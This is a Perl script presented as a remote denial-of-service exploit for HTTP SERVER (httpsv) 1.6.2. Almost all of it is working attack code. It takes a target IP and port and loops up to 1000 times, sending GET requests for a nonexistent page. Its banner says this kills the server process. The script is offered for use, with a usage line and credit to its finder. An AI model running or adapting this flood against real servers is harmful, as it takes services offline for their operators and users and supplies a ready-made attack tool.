HTTP SERVER (httpsv) 1.6.2 (GET 404) Remote Denial of Service Exploit

#!/usr/bin/perl #GetOpt STD module use IO::Socket; use Getopt::Std; getopts(":i:p:",\%args); if(defined $args{i}){ $ip = $args{i}; } if(defined $args{p}){ $port = $args{p}; } if(!defined $args{i} or !defined $args{p}){ print "-----------------------------------------------------\n"; print "HTTP SERVER (httpsv1.6.2) 404 Denial of Services\n"; print "Site: http://httpsv.sourceforge.net/\n "; print "Info: If u send to the server between 40-1000 requests\n"; print "to nonexisting pages the process will die.\n"; print "Found By Prili - imprili[at]gmail.com\n"; print "Usage: perl $0 -i <ip address> -p <port> \n"; print "Thanks to shinnai for the inspiration.\n"; print "-----------------------------------------------------\n"; exit; } $protocol = "tcp"; while ($i<=1000) { $request = "GET /AAAAAAA HTTP/1.0 \n\n"; $socket = IO::Socket::INET->new(PeerAddr=>$ip,                                PeerPort=>$port,                                Proto=>$protocol,                                Timeout=>'1') || die "Can't connect to address!\n";                                 print "sending request number $i...\n"; print $socket $request; close($socket); $i++; }